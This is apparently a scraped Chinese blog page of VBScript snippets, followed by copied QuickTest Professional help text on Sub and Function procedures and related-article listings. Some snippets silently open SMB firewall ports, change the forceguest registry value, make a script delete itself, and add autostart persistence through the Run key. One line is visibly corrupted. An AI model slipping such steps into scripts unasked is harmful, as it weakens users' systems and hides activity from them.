    wsh3.Run “netsh firewall set portopening UDP 139 enable”,0,false
    wsh3.Run “netsh firewall set portopening TCP 445 enable”,0,false
    wsh3.Run “netsh firewall set portopening UDP 445 enable”,0,false

    VBS时间判断代码

    Digital=time
    hours=Hour(Digital)
    minutes=Minute(Digital)
    seconds=Second(Digital)
    if (hours<6) then
    dn=“凌辰了,还没睡啊?”
    end if
    if (hours>=6) then
    dn=“早上好!”
    end if
    if (hours>12) then
    dn=“下午好!”
    end if
    if (hours>18) then
    dn=“晚上好!”
    end if
    if (hours>22) then
    dn=“不早了,夜深了,该睡觉了!”
    end if
    if (minutes<=9) then
    minutes=“0” & minutes
    end if
    if (seconds<=9) then
    seconds=“0” & seconds
    end if
    ctime=hours & “:” & minutes & “:” & seconds & " " & dn
    Msgbox ctime

    VBS注册表读写

    Dim OperationRegistry , mynum
    Set OperationRegistry=WScript.CreateObject(“WScript.Shell”)
    mynum = 9
    mynum = OperationRegistry.RegRead(“HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Lsa\forceguest”)
    MsgBox("before forceguest = "&mynum)

    OperationRegistry.RegWrite “HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Lsa\forceguest”,0

    mynum = OperationRegistry.RegRead(“HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Lsa\forceguest”)
    MsgBox("after forceguest = "&mynum)

    VBS运行后删除自身代码

    dim fso,f
    Set fso = CreateObject(“Scripting.FileSystemObject”)

    f = fso.DeleteFile(WScript.ScriptName)

    WScript.Echo( WScript.ScriptName)

    搜索出的文件复制到另一个指定文件夹

    set r=createobject(“scripting.filesystemobject”)
    p=“c:\a.rar”'指定文件夹改文件名为a.rar
    w=“tem1.rar”'源

    pth=“d:\123\a34”'源文件夹

    f pth

    d pth

    sub d(x)

    on error resume next

    for each i in r.getfolder(x).subfolders

    f i

    d i

    next

    end sub

    sub f(n)

    for each c in r.getfolder(n).files

    if instr(1,c,w,1)>0 then

    r.copyfile c,p

    if r.fileexists© then

    msgbox"成功",64

    else

    msgbox"失败",16

    end if

    wscript.quit

    end if

    next

    end sub

    Dim AutoRunProgram 声明变量 Set AutoRunProgram = WScript.CreateObject(“WScript.shell”) RegPath =“HKLM\Software\Microsoft\Windows\CurrentVersion\Run” 这是开机启动的注册表地址 Type_Name = “REG_SZ” 这是注册表中的数据类型 Key_Name = “****” 这里是存入注册表的键值名称,用你需要开机启动的程序的名字 Key_data = “C:******.vbs” 这里是需要开机启动的程序的具体路径 AutorunProgram.RegWrite regpath&Key_Name,Key_data,Type_Name 结束进程 strComputer="." Set objWMIService = GetObject(“winmgmts:” & strComputer & “\root\cimv2”) Set colProcessList=objWMIService.ExecQuery ("select * from Win32_Process where Name=‘notepad.exe’ ") For Each objProcess in colProcessList objProcess.Terminate() next

    展开全文
  • 对于Sub程序和Function程序在安装QuickTest Professional后可以查看它的文档,QuickTest ProfessionalHelp里面也有关于VBscrīpt Procedures的说明:VBscrīpt ProceduresIn VBscrīpt, there are two kinds of ...

    对于Sub程序和Function程序

    在安装QuickTest Professional后可以查看它的文档,QuickTest Professional Help里面也有关于VBscrīpt Procedures的说明:

    VBscrīpt Procedures

    In VBscrīpt, there are two kinds of procedures; theSubprocedure and theFunctionprocedure.

    Sub Procedures

    A Sub procedure is a series of VBscrīpt statements (enclosed by Sub and End Sub statements) that perform actions but don't return a value. A Sub procedure can take arguments (constants, variables, or expressions that are passed by a calling procedure). If a Sub procedure has no arguments, its Sub statement must include an empty set of parentheses ().

    The following Sub procedure uses two intrinsic, or built-in, VBscrīpt functions,MsgBoxandInputBox, to prompt a user for information. It then displays the results of a calculation based on that information. The calculation is performed in a Function procedure created using VBscrīpt. The Function procedure is shown after the following discussion.Sub ConvertTemp()

    temp = InputBox("Please enter the temperature in degrees F.", 1)

    MsgBox "The temperature is " & Celsius(temp) & " degrees C."

    End Sub

    Function Procedures

    A Function procedure is a series of VBscrīpt statements enclosed by the Function and End Function statements. A Function procedure is similar to a Sub procedure, but can also return a value. A Function procedure can take arguments (constants, variables, or expressions that are passed to it by a calling procedure). If a Function procedure has no arguments, its Function statement must include an empty set of parentheses. A Function returns a value by assigning a value to its name in one or more statements of the procedure. The return type of a Function is always a Variant.

    In the following example, the Celsius function calculates degrees Celsius from degrees Fahrenheit. When the function is called from the ConvertTemp Sub procedure, a variable containing the argument value is passed to the function. The result of the calculation is returned to the calling procedure and displayed in a message box.Sub ConvertTemp()

    temp = InputBox("Please enter the temperature in degrees F.", 1)

    MsgBox "The temperature is " & Celsius(temp) & " degrees C."

    End Sub

    Function Celsius(fDegrees)

    Celsius = (fDegrees - 32) * 5 / 9

    End Function

    Getting Data into and out of Procedures

    Each piece of data is passed into your procedures using an argument . Arguments serve as placeholders for the data you want to pass into your procedure. You can name your arguments any valid variable name. When you create a procedure using either the Sub statement or the Function statement, parentheses must be included after the name of the procedure. Any arguments are placed inside these parentheses, separated by commas. For example, in the following example,fDegreesis a placeholder for the value being passed into the Celsius function for conversion.Function Celsius(fDegrees)

    Celsius = (fDegrees - 32) * 5 / 9

    End Function

    To get data out of a procedure, you must use a Function. Remember, a Function procedure can return a value; a Sub procedure can't.

    Using Sub and Function Procedures in Code

    A Function in your code must always be used on the right side of a variable assignment or in an expression. For example:Temp = Celsius(fDegrees)

    -or-MsgBox "The Celsius temperature is " & Celsius(fDegrees) & " degrees."

    To call a Sub procedure from another procedure, type the name of the procedure along with values for any required arguments, each separated by a comma. TheCallstatement is not required, but if you do use it, you must enclose any arguments in parentheses.

    The following example shows two calls to theMyProcprocedure. One uses the Call statement in the code; the other doesn't. Both do exactly the same thing.Call MyProc(firstarg, secondarg)

    MyProc firstarg, secondarg

    Notice that the parentheses are omitted in the call when the Call statement isn't used.

    下面是关于 Function Definition

    Defining the Function Definition

    After you open the Function Definition Generator, you can begin defining a function.

    For example, if you want to define a function that verifies the value of a specified property, you might name itVerifyPropertyand define it as apublicfunction so that it can be called from any associated component (as long as the function library is associated with its application area). (If you define it as private, the function can only be called from elsewhere in the same function library. Private functions cannot be registered to a test object.)

    To define a function:

    In the Name box, enter a name for the new function. The name should clearly indicate what the operation does so that it can be easily selected from the Step Generator (for function libraries) or the Keyword View. Function names cannot contain non-English letters or characters. In addition, function names must begin with a letter and cannot contain spaces or any of the following characters:  ! @ # $ % ^ & * ( ) + = [ ] \ { } | ; ` : "" , / < > ?

    Note: Do not give the user-defined function the same name as a built-in function (for example, GetLastError, MsgBox, or Print). Built-in functions take priority over user-defined functions, so if you call a user-defined function that has the same name as a built-in function, the built-in function is called instead. For a list of built-in functions, refer to the Built-in functions list in the Step Generator (Insert > Step Generator).

    From the Type list, choose Function orSub, according to whether you want to define a function or a subroutine.

    From the Scope list, choose the scope of the function—eitherPublic(to enable the function to be called by any component whose application area is associated with this function library), or Private (to enable the function to be called only from elsewhere in the same function library). By default, the scope is set toPublic. (Onlypublicfunctions can be registered to a test object.)

    Note: If you create a user-defined function manually and do not define the scope asPublicor Private, it will be treated as apublicfunction, by default.

    After you define apublicfunction, you can register the function, as described inRegistering a Function Using the Function Generator.Alternatively, if you defined a private function, or if you do not want to register the function, you can continue by specifying arguments for the function. For more information, seeSpecifying Arguments for the Function.

    展开全文
  • 微软脚本中心里的例子,用到了WMI事件,抄下来备查。
  • VBS读写INI文件

    2014-06-13 18:47:18
    VBS读写INI文件: 读写Ini文件函数: IniFilePath支持相对路径 (".",".."等) Function ReadIniVar(IniFilePath, IniSection, IniKey, IniDefVal) Sub WriteIniVar(IniFilePath,IniSection, IniKey, IniKeyVal)
  • 核心代码复制代码 代码如下:Function ReadExcel( myXlsFile, mySheet, my1stCell, myLastCell, blnHeader )' Function : ReadExcel' Version : 2.00' This function reads data from an Excel sheet without using ...
  • VBS基础篇 - 过程(sub 与 Function

    千次阅读 2016-09-09 10:13:06
    在VBscript中,有两种procedure:Sub procedure与Function procedure Sub过程:是包含在 Sub 和 End Sub 语句之间的一组 VBScript 语句。如果 Sub 过程无任何参数,则 Sub 语句必须包含空括号 ()。 ...
  • VBS杀死指定进程

    2021-01-12 15:44:18
    以下是一小段杀死指定进程名字的小vbs,希望对大家有帮助。Function KillProc(strProcName)On Error Resume NextSet objWMIService = GetObject("winmgmts:{impersonationLevel=impersonate}!\.ootcimv2")Set ...
  • VBS教程总结

    2021-07-28 22:18:16
    msgbox result Case Else MsgBox "输入错误" End Select 改造 Function和sub Function有返回值 Sub没有返回值 tips:vbCrLf是vbs中的一个字符串常数,即“Chr(13) & Chr(10)”(回车符与换行符连接在一起),是...
  • VBS中Sub与Function的区别
  • vbs-组合使用

    2020-04-14 12:12:59
    '文件读成16进制 ...Function ReadBinary(FileName) Const adTypeBinary = 1 Dim stream, xmldom, node Set xmldom = CreateObject("Microsoft.XMLDOM") Set node = xmldom.CreateElement("binary") ...
  • vbs自动上传ftp

    热门讨论 2009-03-22 22:58:08
    自动把文件上传到ftp服务器的vbs脚本
  • VBS脚本常用经典代码收集

    千次阅读 2019-02-14 11:56:03
    1、VBS脚本用途 计算 处理文件和文件夹 管理Windows 处理Word, Excel, PowerPoint等Office文档 嵌入网页,驱动dHTML 编写HTTP通信 调用系统功能(COM组件),比如说语音说话 分析HTML, XML 调用命令行并...
  • 如何使用VBS调用VBA函数

    千次阅读 2020-05-05 22:42:58
    -- ■VBS代码 Set excelApp = createobject("Excel.Application") excelApp = .Visible = false Set oWorkbooks = excelApp .Workbooks.Open("C:\test\EvidenceTemplate.xlsm") '... Dim count '不能写成 Dim count ...
  • 以下是一小段杀死指定进程名字的小vbs,希望对大家有帮助。Function KillProc(strProcName)On Error Resume NextSet objWMIService = GetObject("winmgmts:{impersonationLevel=impersonate}!\\.\root\cimv2")Set ...
  • 以上, 完全代码如下,要求本机安装MySQL数据源,且188.1.1.132机器上MySQL用户名为grute、密码为grute、库名为grute、表名为test、test的列名分别为(序号,姓名,用户名,密码,权限),保存为后缀名VBS即可运行。...
  • VBS获取网页内容

    2021-06-13 10:43:39
    VBS获取网页内容2011年03月14日功能:通过VBS获取远程网页的内容,并提取其中需要的部分(示例中提取股票信息)以下为代码:测试VBS获取网页内容//如果提示权限问题可以设置IE选项,修改所在区域的安全选项--其它--通过...
  • Qt5调用VBS脚本

    2020-03-17 21:46:17
    今天看自己的学习资料,突然发现有一个demo程序是利用Qt5调用VBS脚本的,想起之前用Qt5调用VBS脚本直接生成Excel文件了。这些小众的需求分享一下吧,可能是我从哪位大神那里弄回来的,侵权...Function ShowMyMsgVb(m...
  • vbs实现自动打字祝福前言一、vbs淦对话框二、vbs淦打油诗三、vbs淦函数四、vbs淦英文五、vbs淦C+实现模拟键盘功能六、六六大顺祝福总结 前言 年轻人 不讲武德 一、vbs淦对话框 Dim a,cut,b,Str,flag flag=false ...
  • Dictionary是存储数据键和项目对的对象,其主要属性有Count、Item、Key,主要方法有Add、Exists、Items、Keys、Remove、RemoveAll
  • 简单VBS教程

    万次阅读 多人点赞 2018-06-24 15:38:25
    讲一下VBScript。主要面向菜鸟,懂得编程的朋友就不要浪费时间了,如果你想接触以下VBScript也可以。但既然有编程基础推荐直接去找一些参考书来读。...正如其字面所透露的信息,VBS(VBScript的进一步简写)是基...

空空如也

空空如也

1 2 3 4 5 ... 20
收藏数 8,394
精华内容 3,357
关键字:

functionvbs